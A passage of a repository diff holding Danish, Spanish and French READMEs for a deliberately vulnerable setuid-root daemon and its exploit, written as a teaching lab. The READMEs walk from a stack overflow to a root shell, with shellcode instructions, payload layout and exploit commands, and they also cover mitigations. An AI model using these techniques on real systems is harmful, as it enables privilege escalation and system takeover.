| `LD_PRELOAD` af et ondsindet bibliotek | "Setuid-programmet loader min `.so` og kører min kode som root." | Kernen markerer en setuid-binærfil som **AT_SECURE**; glibc ignorerer derefter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *utroverdig input*. `LD_PRELOAD` mod en setuid-binærfil er en no-op. |
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | "Peg PATH mod et bibliotek med min falske `ls`; root-programmet kører den." | Et andet ansigt af samme forsvar: en AT_SECURE-proces får en **saneret `PATH`** (en sikker standard, nogenlunde `/usr/local/bin:/usr/bin:/bin`) til `system()`/`execvp`, så det forgiftede bibliotek aldrig konsulteres. |
| Setuid-`system()`-kommandoinjektion | "Den injicerede kommando kører med euid 0." | `system()` kører kommandoen i en frisk `/bin/sh`, og den shell — §5.2 — nulstiller `euid = ruid` ved start. Den injicerede kommando udføres med den *reelle* uid. (Det er stadig en fejl; den eskalerer bare ikke længere gennem `/bin/sh`.) |
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | "Kør den, få root." | Præcis forsvaret ovenfor, og det er grunden til, at moderne distroer ikke leverer nogen setuid-root-shell. Selv når det lykkes at lave én, nægter bash at beholde euid 0, medmindre den startes med `-p`. |
Hvad der forbliver i live, og det er dette laboratorium: **programmet er
*allerede* root, når det kører.** Du behøver ikke miljøet eller `system()`; du
har brug for, at programmet udfører *din* kode (via en
hukommelseskorruptionsfejl), mens det er privilegeret, og din kode skal være
omhyggelig nok til selv at rette uid-mismatchet — `setreuid(0,0)` — før den
overrækker dig en shell. Hukommelseskorruption + SUID er kombinationen, der
stadig ender i `uid=0`, hvilket er præcis hvorfor hukommelsessikre sprog,
canaries og no-execute-stacks ikke er en modebeslutning.
---
## 7. De sikkerhedsgelændere, der er bygget ind i daemonen
`foosd` er bevidst det *dårligste* stykke software i dette repository, så det
bærer også flest gelændere:
1. **Kun loopback, håndhævet.** `foosd` nægter enhver bind-adresse ud over
loopback, medmindre du giver `-L`. En setuid-root-listener på en rigtig
grænseflade er en fjern root-tjeneste; afslaget er standarden, så den
farlige tilstand skal skrives bevidst ind.
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kører som
root, så konsollen viser den tilstand, exploitet afhænger af.
3. **Loggen når aldrig klienten.** Daemonen reserverer en privat
log-descriptor, før sockets erstatter fd 1, så crash-reporter-output og
interne stier ikke kan læses tilbage over ledningen af angriberen.
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den værdi,
angriberen skrev ind i returadressen — så en vellykket kapring er synlig i
`foosd.log` i stedet for at være en stille død.
5. **`make unsetuid`.** Fjernelse af bitten er scriptet, fordi at efterlade den
sat er den fiaskotilstand, folk rent faktisk har.
---
## 8. Modforanstaltninger — hvad hver stopper, og hvad den *ikke* stopper
Anvendt på `foosd` via `make hardened`, én ad gangen eller sammen:
| Modforanstaltning | Hvad den stopper | Hvad den *ikke* stopper |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | Overløbet: `ret` opdager en smadret canary og abort'er, før angriberens adresse bruges. Stopper her **alle fire** teknikker — de deler det ene sårbare `read()`. | Intet ved *designet*: binærfilen er stadig setuid-root; en anden fejl (format-string-`%n`, heap-overflow, use-after-free) har ingen canary at udløse. |
| `-fPIE -pie` (ASLR for binærfilen) | Brug af forudsigelige `win()`/`win_root()`-adresser (ret2win-teknikkerne). | Shellcode-teknikken, hvis en stack-adresse stadig lækker (`BUF=`-linjen). |
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU'en nægter at hente instruktioner fra en data-only-side, så et hop til `buf` er et SIGSEGV. | ROP — at køre kode, der allerede findes (`ret2libc`). |
| Alle tre sammen | En svær-at-overløbe, randomiseret binærfil med ikke-eksekverbar stack. Sådan ser en normal hærdet build ud. | Setuid-bitten. **En hærdet SUID-binærfil er stadig en SUID-binærfil.** Hvis nogen nåbar hukommelsessikkerhedsfejl overlever, er det stadig "fejl i en root-proces". |
Konsolbeviset er `make test-hardened`, som bytter den hærdede build ind og viser
alle teknikker dø ved canaryen, mens `foosd_hardened.log` optager
`*** stack smashing detected ***`.
To designniveau-modforanstaltninger, som intet compiler-flag leverer, og som det
overordnede laboratorium (`food`) også bruger:
- **Least privilege.** En daemon til en uprivilegeret port (2343 > 1024) har
intet legitimt behov for root. En korrekt `foosd` ville binde og derefter
`setgroups`/`setgid`/`setuid` til en uprivilegeret konto og *bekræfte, at det
holdt* (den korrekte version står i kilden som `drop_privs()`, aldrig kaldt —
ikke-kaldelsen er laboratoriets fejl nr. 3).
- **Begræns read'et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
overgår hvert compiler-flag i tabellen.
---
## 9. Wire-protokollen (så du kan læse daemonen med netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — kunne ikke printes som `euid=`/`ruid=`, fordi test-harnessen
beviser en shell ved at greppe efter det bogstavelige `uid=`, og banneret må
ikke indeholde det (en sonde, der deler signatur med svaret, er en klassisk
falsk-positiv-fælde; se kommentaren i `foosd.c`). Harnessen kræver desuden
den strenge `id`-outputform — `uid=NNN(...)` — så intet, daemonen eller
exploitet printer, kan opfylde tjekket ved et tilfælde: `foosc`s eget
"target euid=… ruid=…" indeholder `uid=` som delstreng, hvilket engang fik en
hærdet test til at melde en shell, der aldrig havde kørt.
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lader shellcode og ret2libc
beregne eksakte adresser.
---
## 10. Øvelser
1. **Betragt ikke-root-nedgraderingen.** Kør `make test` *før* `make setuid`,
og derefter igen bagefter. Forklar `ROOT=SEEN`-ændringen med
ruid/euid-historien i §5.2.
2. **Læs nedbruddet.** Kør `./foosc -t demo -n` og læs derefter `foosd.log`.
Linjen `RIP=0x4141414141414141` er angriberens padding — beviset på, at
overløbet, ikke uheld, kontrollerer udførelsen.
3. **Tilføj canaryen.** `make hardened` og ændr selv `test-hardened`-løkken;
loglinjen `*** stack smashing detected ***` er forsvaret, der virker.
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ud, genbyg, og se
`-t shellcode` gå fra deterministisk til et gættespil. Den ene linje er
grunden til, at ægte ASLR-bypasses er et helt felt.
5. **`-p`-eksperimentet.** Ændr i en kopi af `win()` `execl("/bin/sh", "sh",
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
den dokumenterede nødudgang fra shellens vagt — og grunden til, at rådet
"spawn bare en shell" fra gamle write-ups er ufuldstændigt.
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til at kalde `setuid(0)`
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander stadig — og
falder stadig til `uid=1000`. Det er det mest lærerige en-linjes-eksperiment
i hele repositoryet.
---
## 11. Sikkerhed og oprydning
- Kun loopback, som standard og efter design; `-L` binder længere, og kun en
velegnet-til-at-smid-væk-VM bør overhovedet overveje det.
- Dette er et root-shell-laboratorium. Kør det ikke på en maskine, der
betyder noget, og peg ikke `foosc -h` mod noget, du ikke ejer.
- Oprydningsritual: `make stop` og derefter `make unsetuid`, og hvis du vil
have træet pletfrit igen: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

399
suid/README.ES.md Normal file
View file

@ -0,0 +1,399 @@
# Laboratorio de RCE root por SUID — `foosd` (demonio) + `foosc` (exploit)
Un compañero del laboratorio principal (`food` / `fooc`, un demonio normal donde
un desbordamiento de búfer te da un shell de *usuario*). Este añade el cambio de
un solo carácter más peligroso de Unix: **el bit setuid**.
> `chmod u+s` convierte "el atacante puede ejecutar código en este host" en "el
> atacante puede ejecutar código como **root** en este host".
Esa frase es todo el laboratorio. Todo lo que sigue es el mecanismo que tiene
debajo, escrito, para que cuando escribas tu propio software sepas
exactamente qué dos o tres atributos del sistema de archivos y flags del
compilador deciden si un error de seguridad de memoria en tu código es una
molestia o un shell root.
La demo final, cuando `foosd` es setuid-root, es un **shell root** abierto a
través de la red ejecutando 32 bytes de shellcode escrita a mano.
---
## 1. Qué hace realmente el bit setuid
Cada proceso en Linux lleva tres user-ID, y el bit setuid toca la relación
entre ellos:
| ID | Nombre | Significado |
|----|------|---------|
| `ruid` | user-ID real | la cuenta que *inició* el proceso |
| `euid` | user-ID efectivo | lo que el kernel comprueba al imponer el acceso |
| (saved) | set-user-ID guardado | una "ranura" a la que un proceso privilegiado puede volver más tarde |
Un programa normal tiene `ruid == euid`. Cuando ejecutas un binario con el bit
setuid puesto, propiedad de root:
```text
ruid = tú (p. ej. 1000, "hanez")
euid = el dueño (p. ej. 0, "root")
```
El proceso tiene por tanto **la autoridad de root**, aunque el usuario que lo
inició sea perfectamente normal. Cada comprobación que hace el kernel — ¿puede
este proceso leer `/etc/shadow`? ¿escribir un archivo? ¿matar a otro proceso? —
se responde con `euid`, es decir, "sí, es root".
`foosd` es un demonio de red. Enlaza un puerto y luego hace `fork()` de un hijo
por conexión. Un fork *hereda* el euid, así que cada hijo que gestiona una
conexión también es root. El desbordamiento en `vulnerable_handler()` de
`foosd` es por tanto un desbordamiento *dentro de un proceso root*.
**Diagnostícalo tú mismo cuando el demonio esté corriendo:**
```console
$ ./foosd ... # mira la línea de log que imprime al arrancar
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
y desde el exploit:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. El laboratorio de un vistazo
| Archivo | Rol |
|------|------|
| `foosd.c` | El demonio deliberadamente vulnerable (dueño de los errores). Ejecútalo como *binario setuid-root* para la demo del shell root. |
| `foosc.c` | El exploit. Usa por defecto la técnica de shellcode `setreuid + execve` de 32 bytes. |
| `shellcode.S` | El shellcode de referencia; `make verify` lo compara con el array de bytes en `foosc.c`. |
| `tests/pty_suid_test.c` | Harness de prueba. Conduce a `foosc` a través de un pseudo-terminal y prueba tanto "corrió un shell" *como* "era root" (`uid=0(`). |
| `Makefile` | Compilación, helpers `setuid`/`unsetuid`, matriz de prueba. |
| `README.md` | Este archivo. |
> **¿Por qué una pty?** La última acción del exploit es retransmitir tu
> terminal al shell que corre en la víctima. Un pipe o un here-doc llega al
> lado equivocado de esa retransmisión; se requiere un terminal real.
---
## 3. Inicio rápido
```console
$ make # compila todo, como tu usuario normal
$ make setuid # una vez, pide sudo: chown root + chmod u+s
$ make run # arranca foosd en 127.0.0.1:2343
$ make test-suid # matriz completa; shellcode + ret2win-root deben dar root
```
Prueba de humo interactiva:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- eres root, en la víctima
# exit
```
Cuando termines:
```console
$ make stop
$ make unsetuid # higiene: no dejes nunca un binario root SUID suelto
```
---
## 4. *¿Cuándo pongo el bit SUID?* — la respuesta que pediste
Exactamente **una vez, después de compilar, antes de arrancar el demonio para
las demos de shell root** — y solo en una máquina que sea tuya, apta para tirar
y desconectada de la red:
```console
$ make # compila foosd, foosc, las pruebas
$ make setuid # <-- EL MOMENTO. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # arranca DESPUÉS de poner el bit
```
Dos reglas que importan más que el momento exacto:
1. **Ponlo solo cuando el binario esté terminado.** Si recompilas (`make` /
`make clean`) después de poner el bit, te topas con "Permission denied" al
escribir los archivos de salida propiedad de root — y si fuerzas la
recompilación, el toolchain recrea el archivo **sin** la `s` y deshace la
configuración en silencio. El orden canónico en cualquier recompilación es
por tanto
```console
$ make unsetuid && make && make setuid
```
2. **Quítalo cuando termines.** `make unsetuid`. Un binario setuid vivo,
propiedad de root, con un error explotable en tu árbol no es una herramienta
pedagógica, es un agujero root con un error de compilación entre él y nada.
En una máquina compartida o de producción: **no hagas nada de esto.** El
demonio además se niega por defecto a enlazarse a nada que no sea loopback
(ver §7).
Si ejecutas el exploit *sin* poner nunca el bit, nada se rompe — el payload
sigue aterrizando y sigues obteniendo un shell. La diferencia está en un solo
número, y el exploit lo dice en voz alta:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
El resultado "funcionó, pero no root" es en sí parte del laboratorio.
Recuérdalo para la siguiente sección.
---
## 5. El mecanismo — y el giro que hace interesante a SUID
### 5.1 El desbordamiento (idéntico a `food`)
El handler de `foosd` da a un `read()` 512 bytes de confianza mientras le
ofrece un búfer de pila de 64 bytes:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes sobre el borde */
```
En x86-64 la pila crece hacia abajo. El exploit escribe 64 bytes de basura para
llenar `buf`, 8 para llenar el puntero de marco guardado y 8 más para
reemplazar la **dirección de retorno guardada**. Cuando `vulnerable_handler`
ejecuta `ret`, la CPU hace pop del valor del atacante en `RIP` — ejecución de
código controlada por el atacante. El exploit encuentra la distancia exacta (88
bytes para esta compilación) analizando la salida de `objdump` en lugar de
hardcodearla, así que el número sobrevive a las recompilaciones.
### 5.2 El giro: el shell se niega a ser root
Aquí es donde pensar "bug SUID → spawn /bin/sh → root" iría mal, y por qué este
laboratorio tiene exactamente la forma que tiene.
Cuando corre un programa setuid-root, su `ruid` sigue siendo el usuario que lo
inició y su `euid` es root. Si el programa — o el atacante — lanza ahora un
shell:
* `execve("/bin/sh")` **no** cambia los uids; el nuevo proceso hereda
`(ruid=1000, euid=0)`.
* bash (y dash) **comprueba exactamente ese estado al arrancar**. Del manual de
bash: *"If the shell is started with the effective user (group) id not equal
to the real user (group) id, and the -p option is not supplied, … the
effective user id is set to the real user id."*
Así que el shell se mira y *suelta root* — una defensa que los autores de
shell construyeron exactamente contra este ataque (la justificación histórica
era el problema de las shells setuid / scripts setuid). El resultado son los
casos "funcionó, pero no root":
| Técnica | Qué ejecuta | uid resultante |
|-----------|------------------|---------------|
| `ret2win` | el `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell aterrizado, root reseteado por bash |
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` fresco | **1000** — el mismo reset, un nivel abajo |
| `ret2win-root` | el `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid limpiado desde C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid limpiado desde código máquina |
Las que alcanzan root se diferencian de las que no lo hacen en exactamente una
idea: **limpian el uid *real*, no solo el efectivo.**
```c
setuid(0) /* pone euid a 0, pero ruid sigue en 1000:
bash sigue viendo euid != ruid y resetea IGUAL. */
setreuid(0, 0) /* pone AMBOS: ruid = euid = 0.
bash ve uids iguales y conserva root. */
```
Por eso el shellcode `/bin/sh` clásico que encuentras por todo internet
empieza con un syscall de limpieza de uid — y por eso el shellcode aquí es de
32 bytes en lugar de 23: las primeras cinco instrucciones son
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Entonces, ¿qué es el exploit, de principio a fin?
1. `foosc` lee el banner de `foosd` por el socket. Obtiene:
- `ids=0/1000` — euid/ruid (el autodiagnóstico SUID)
- `stack=…` y `libc=…` — punteros (las fugas de ASLR)
- `BUF=…` — la dirección exacta del búfer que está a punto de desbordar
2. Del binario objetivo (vía `objdump`) aprende `rip_off` y las direcciones de
`win()` / `win_root()`.
3. De *su propia* libc (vía `/proc/self/maps` + `dlsym` + un escaneo de memoria)
mide los offsets de `system`, `read`, `/bin/sh` y un gadget `pop rdi; ret` —
nada está hardcodeado.
4. Ensambla el payload. Para `-t shellcode`, es:
`[código setreuid+execve de 32 bytes][basura hasta RIP][ret-fix][dirección de buf]`.
5. El `read()` de `foosd` se desborda; el `ret` aterriza en el shellcode; el
kernel ejecuta `setreuid(0,0)` (sin problema: euid 0 es privilegiado) y luego
`execve` de `/bin/sh`. bash arranca con `ruid == euid == 0` y sigue siendo
root.
6. `foosc` retransmite tu terminal a ese shell root, hasta que escribes `exit`.
Un detalle de comodidad que cuesta caro a la gente si se pasa por alto: el
exploit prueba cada comportamiento de limpieza de uid **sin** necesitar primero
el bit setuid. Ejecuta `make test` antes de `make setuid`, y verás cada técnica
aterrizar un shell con `ROOT=MISSING`; ejecuta `make test-suid` después de
`make setuid`, y `ROOT=SEEN` aparece en las dos técnicas que limpian el uid
real. Ese A/B es toda la lección, representada en diez segundos.
---
## 6. Los viejos one-liners — y por qué la mayoría están muertos
Si has leído sobre SUID, has leído sobre secuestro de `PATH`, `LD_PRELOAD` y
shells setuid. Los tres son clásicos, y los tres fallan en un sistema moderno
contra *este programa*. Vale la pena saber exactamente por qué, porque las
razones son las defensas que obtienes gratis:
| Clase de ataque | Vieja afirmación | Por qué falla en una máquina moderna |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` de una biblioteca maliciosa | "El programa setuid carga mi `.so` y ejecuta mi código como root." | El kernel marca un binario setuid como **AT_SECURE**; glibc ignora entonces `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` y compañía. El entorno se trata como *entrada no confiable*. `LD_PRELOAD` contra un binario setuid es un no-op. |
| Secuestro de `PATH` (`system("ls")` con un PATH envenenado) | "Apunta PATH a un directorio con mi `ls` falso; el programa root lo ejecutará." | Otra cara de la misma defensa: un proceso AT_SECURE recibe un **PATH saneado** (un valor por defecto seguro, más o menos `/usr/local/bin:/usr/bin:/bin`) para `system()`/`execvp`, así que el directorio envenenado nunca se consulta. |
| Inyección de comando `system()` setuid | "El comando inyectado se ejecuta con euid 0." | `system()` ejecuta el comando en un `/bin/sh` nuevo, y ese shell — §5.2 — resetea `euid = ruid` al arrancar. El comando inyectado se ejecuta con el uid *real*. (Sigue siendo un error; solo que ya no escala vía `/bin/sh`.) |
| Shell root setuid en disco (`cp /bin/sh /tmp; chmod u+s`) | "Ejecútalo, consigue root." | Exactamente la defensa de arriba, y esa es la razón por la que las distros modernas no entregan ningún shell root setuid. Incluso si consigues fabricar uno, bash se niega a mantener euid 0 salvo que se inicie con `-p`. |
Lo que sigue vivo, y eso es este laboratorio: **el programa *ya* es root cuando
corre.** No necesitas el entorno ni `system()`; necesitas que el programa
ejecute *tu* código (vía un error de corrupción de memoria) mientras es
privilegiado, y que tu código sea lo bastante cuidadoso para corregir él mismo
el desajuste de uids — `setreuid(0,0)` — antes de entregarte un shell. La
corrupción de memoria + SUID es la combinación que todavía termina en `uid=0`,
y eso es exactamente por qué los lenguajes seguros en memoria, las canaries y
las pilas no-ejecutables no son una decisión de moda.
---
## 7. Las barandillas de seguridad integradas en el demonio
`foosd` es deliberadamente la *peor* pieza de software de este repositorio, así
que también lleva más barandillas:
1. **Solo loopback, impuesto.** `foosd` rechaza cualquier dirección de bind
fuera del loopback, salvo que pases `-L`. Un listener setuid-root en una
interfaz real es un servicio root remoto; el rechazo es el valor por defecto,
para que el estado peligroso tenga que escribirse deliberadamente.
2. **Autodiagnóstico.** Al arrancar registra `ruid`/`euid` y si corre como root,
para que la consola muestre el estado del que depende el exploit.
3. **El log nunca llega al cliente.** El demonio reserva un descriptor de log
privado antes de que los sockets reemplacen a fd 1, para que la salida del
crash-reporter y las rutas internas no puedan leerse de vuelta por el cable
por el atacante.
4. **Crash-reporter.** Un handler de SIGSEGV registra `RIP`/`RSP` — el valor que
el atacante escribió en la dirección de retorno — para que una toma de
control exitosa sea visible en `foosd.log` en lugar de ser una muerte
silenciosa.
5. **`make unsetuid`.** Quitar el bit está scripteado, porque dejarlo puesto es
el modo de fallo que la gente realmente tiene.
---
## 8. Mitigaciones — qué detiene cada una y qué *no* detiene
Aplicadas a `foosd` vía `make hardened`, una a una o juntas:
| Mitigación | Qué detiene | Qué *no* detiene |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | El desbordamiento: `ret` detecta una canary destruida y aborta antes de que se use la dirección del atacante. Detiene aquí **las cuatro** técnicas — comparten el único `read()` vulnerable. | Nada por *diseño*: el binario sigue siendo setuid-root; otro error (format-string-`%n`, heap-overflow, use-after-free) no tiene canary que disparar. |
| `-fPIE -pie` (ASLR para el binario) | El uso de direcciones `win()`/`win_root()` predecibles (las técnicas ret2win). | La técnica de shellcode, si todavía se filtra una dirección de pila (línea `BUF=`). |
| `-z noexecstack` (NX / W^X) | El shellcode: la CPU se niega a buscar instrucciones en una página solo-de-datos, así que un salto a `buf` es un SIGSEGV. | ROP — ejecutar código que ya existe (`ret2libc`). |
| Las tres juntas | Un binario difícil de desbordar, randomizado, con pila no ejecutable. Así se ve una build endurecida normal. | El bit setuid. **Un binario SUID endurecido sigue siendo un binario SUID.** Si sobrevive cualquier error de memoria alcanzable, sigue siendo "error en un proceso root". |
La prueba en consola es `make test-hardened`, que intercambia la build
endurecida y muestra las técnicas muriendo en la canary, mientras
`foosd_hardened.log` captura `*** stack smashing detected ***`.
Dos mitigaciones de nivel de diseño que ningún flag de compilador entrega, y
que el laboratorio principal (`food`) también usa:
- **Mínimo privilegio.** Un demonio para un puerto no privilegiado (2343 >
1024) no tiene ninguna necesidad legítima de root. Un `foosd` correcto
enlazaría y luego haría `setgroups`/`setgid`/`setuid` a una cuenta no
privilegiada y *confirmaría que se mantuvo* (la versión correcta está en la
fuente como `drop_privs()`, nunca llamada — el no-lamarlo es el error n.º 3
del laboratorio).
- **Limita el read.** `n = read(fd, buf, sizeof(buf) - 1)`. Una línea correcta
supera a todos los flags de compilador de la tabla.
---
## 9. El protocolo wire (para que puedas leer el demonio con netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — no podía imprimirse como `euid=`/`ruid=`, porque el harness
de prueba prueba un shell haciendo grep del `uid=` literal, y el banner no
debe contenerlo (una sonda que comparte la firma con la respuesta es una
trampa clásica de falso positivo; ver el comentario en `foosd.c`). El harness
además exige la forma estricta de salida `id` — `uid=NNN(...)` — para que nada
de lo que imprima el demonio o el exploit pueda satisfacer la comprobación
por accidente: el propio "target euid=… ruid=…" de `foosc` contiene `uid=`
como subcadena, lo que una vez hizo que una prueba endurecida reportara un
shell que nunca había corrido.
* `stack=`, `libc=`, `BUF=` — las fugas de ASLR: dejan que el shellcode y
ret2libc calculen direcciones exactas.
---
## 10. Ejercicios
1. **Considera la degradación no-root.** Ejecuta `make test` *antes* de `make
setuid`, y luego otra vez después. Explica el cambio a `ROOT=SEEN` con la
historia ruid/euid de la §5.2.
2. **Lee el crash.** Ejecuta `./foosc -t demo -n` y luego lee `foosd.log`. La
línea `RIP=0x4141414141414141` es la basura del atacante — la prueba de que
es el desbordamiento, no el azar, quien controla la ejecución.
3. **Añade la canary.** `make hardened` y modifica tú mismo el bucle
`test-hardened`; la línea de log `*** stack smashing detected ***` es la
defensa funcionando.
4. **Desactiva la fuga.** Comenta la línea `BUF=` en `foosd.c`, recompila, y
mira `-t shellcode` pasar de determinista a un juego de adivinanzas. Esa
única línea es la razón por la que los bypass reales de ASLR son todo un
campo.
5. **El experimento `-p`.** En una copia de `win()`, cambia `execl("/bin/sh",
"sh", NULL)` por `execl("/bin/sh", "sh", "-p", NULL)` y observa root. `-p`
es la salida de emergencia documentada del guardián del shell — y la razón
por la que el consejo "solo haz spawn de un shell" de los viejos write-ups es
incompleto.
6. **¿Por qué no `setuid(0)`?** Reescribe el shellcode para llamar a `setuid(0)`
en lugar de `setreuid(0,0)` (syscall 105). El shell sigue aterrizando — y
sigue cayendo a `uid=1000`. Es el experimento de una sola línea más
instructivo de todo el repositorio.
---
## 11. Seguridad y limpieza
- Solo loopback, por defecto y por diseño; `-L` enlaza más lejos, y solo una VM
apta para tirar debería siquiera considerarlo.
- Esto es un laboratorio de shell root. No lo ejecutes en una máquina que
importe, y no apuntes `foosc -h` a algo que no poseas.
- Rito de limpieza: `make stop` y luego `make unsetuid`, y si quieres el árbol
impecable otra vez: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

404
suid/README.FR.md Normal file
View file

@ -0,0 +1,404 @@
# Lab RCE racine par SUID — `foosd` (démon) + `foosc` (exploit)
Un compagnon du laboratoire principal (`food` / `fooc`, un démon ordinaire où
un débordement de tampon vous donne un shell *utilisateur*). Celui-ci ajoute le
changement d'un seul caractère le plus dangereux d'Unix : **le bit setuid**.
> `chmod u+s` transforme « l'attaquant peut exécuter du code sur cette machine »
> en « l'attaquant peut exécuter du code en tant que **root** sur cette
> machine ».
Cette phrase, c'est tout le laboratoire. Tout ce qui suit est le mécanisme
qu'il y a dessous, écrit noir sur blanc, pour que lorsque vous écrivez votre
propre logiciel, vous sachiez précisément quels deux ou trois attributs de
système de fichiers et flags de compilateur décident si un bug de sécurité
mémoire dans votre code est une nuisance ou un shell root.
La démo finale, quand `foosd` est setuid-root, est un **shell root** ouvert sur
le réseau en exécutant 32 octets de shellcode écrite à la main.
---
## 1. Ce que fait réellement le bit setuid
Chaque processus Linux porte trois user-ID, et le bit setuid touche à la
relation entre eux :
| ID | Nom | Signification |
|----|------|---------|
| `ruid` | user-ID réel | le compte qui a *démarré* le processus |
| `euid` | user-ID effectif | ce que le noyau vérifie quand il applique les accès |
| (saved) | set-user-ID sauvegardé | un « créneau » auquel un processus privilégié peut revenir plus tard |
Un programme normal a `ruid == euid`. Quand vous exécutez un binaire avec le
bit setuid posé, appartenant à root :
```text
ruid = vous (ex. 1000, « hanez »)
euid = le propriétaire (ex. 0, « root »)
```
Le processus a donc **l'autorité de root**, même si l'utilisateur qui l'a
lancé est parfaitement ordinaire. Chaque contrôle que le noyau effectue — ce
processus peut-il lire `/etc/shadow` ? écrire un fichier ? tuer un autre
processus ? — est tranché avec `euid`, donc « oui, il est root ».
`foosd` est un démon réseau. Il lie un port puis `fork()` un enfant par
connexion. Un fork *hérite* de l'euid, donc chaque enfant qui traite une
connexion est aussi root. Le débordement dans `vulnerable_handler()` de
`foosd` est donc un débordement *à l'intérieur d'un processus root*.
**Diagnostiquez-le vous-même quand le démon tourne :**
```console
$ ./foosd ... # voyez la ligne de log qu'il affiche au démarrage
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
et depuis l'exploit :
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Le lab en un coup d'œil
| Fichier | Rôle |
|------|------|
| `foosd.c` | Le démon volontairement vulnérable (propriétaire des bugs). Exécutez-le en *binaire setuid-root* pour la démo du shell root. |
| `foosc.c` | L'exploit. Utilise par défaut la technique de shellcode `setreuid + execve` de 32 octets. |
| `shellcode.S` | La shellcode de référence ; `make verify` la diff contre le tableau d'octets dans `foosc.c`. |
| `tests/pty_suid_test.c` | Harnesse de test. Conduit `foosc` à travers un pseudo-terminal et prouve à la fois « un shell a tourné » *et* « il était root » (`uid=0(`). |
| `Makefile` | Compilation, helpers `setuid`/`unsetuid`, matrice de test. |
| `README.md` | Ce fichier. |
> **Pourquoi un pty ?** La dernière action de l'exploit est de relayer votre
> terminal vers le shell qui tourne sur la victime. Un pipe ou un here-doc
> arrive du mauvais côté du relais ; un vrai terminal est requis.
---
## 3. Démarrage rapide
```console
$ make # compilez tout, en tant que votre utilisateur normal
$ make setuid # une fois, demande sudo : chown root + chmod u+s
$ make run # démarre foosd sur 127.0.0.1:2343
$ make test-suid # matrice complète ; shellcode + ret2win-root doivent donner root
```
Test de fumée interactif :
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- vous êtes root, sur la victime
# exit
```
Quand vous avez fini :
```console
$ make stop
$ make unsetuid # hygiène : ne laissez jamais un binaire root SUID traîner
```
---
## 4. *Quand dois-je poser le bit SUID ?* — la réponse que vous avez demandée
Exactement **une fois, après la compilation, avant de démarrer le démon pour
les démos de shell root** — et uniquement sur une machine qui est à vous,
bonne à jeter et déconnectée du réseau :
```console
$ make # compilez foosd, foosc, les tests
$ make setuid # <-- L'INSTANT. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # démarrez APRÈS avoir posé le bit
```
Deux règles plus importantes que le moment précis :
1. **Posez-le seulement quand le binaire est fini.** Si vous recompilez
(`make` / `make clean`) après avoir posé le bit, vous tombez sur un
« Permission denied » en écrivant les fichiers de sortie appartenant à root
— et si vous forcez la recompilation, la chaîne d'outils recrée le fichier
**sans** le `s` et défait silencieusement la configuration. L'ordre
canonique à chaque recompilation est donc
```console
$ make unsetuid && make && make setuid
```
2. **Enlevez-le quand vous avez fini.** `make unsetuid`. Un binaire setuid
vivant, appartenant à root, avec un bug exploitable dans votre arborescence,
ce n'est pas un outil pédagogique, c'est un trou root avec une erreur de
compilation entre lui et rien. Sur une machine partagée ou de production :
**ne faites rien de tout cela.** Le démon refuse d'ailleurs par défaut de se
lier ailleurs qu'en loopback (voir §7).
Si vous exécutez l'exploit *sans* jamais poser le bit, rien ne casse — la
payload atterrit toujours, et vous obtenez toujours un shell. La différence
tient en un seul chiffre, et l'exploit le dit à voix haute :
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Le résultat « ça marche, mais pas root » fait lui-même partie du lab. Gardez-le
en tête pour la section suivante.
---
## 5. Le mécanisme — et la pirouette qui rend SUID intéressant
### 5.1 Le débordement (identique à `food`)
Le handler de `foosd` donne à un `read()` 512 octets de confiance en lui
tendant un tampon de pile de 64 octets :
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120 : 448 octets par-dessus le bord */
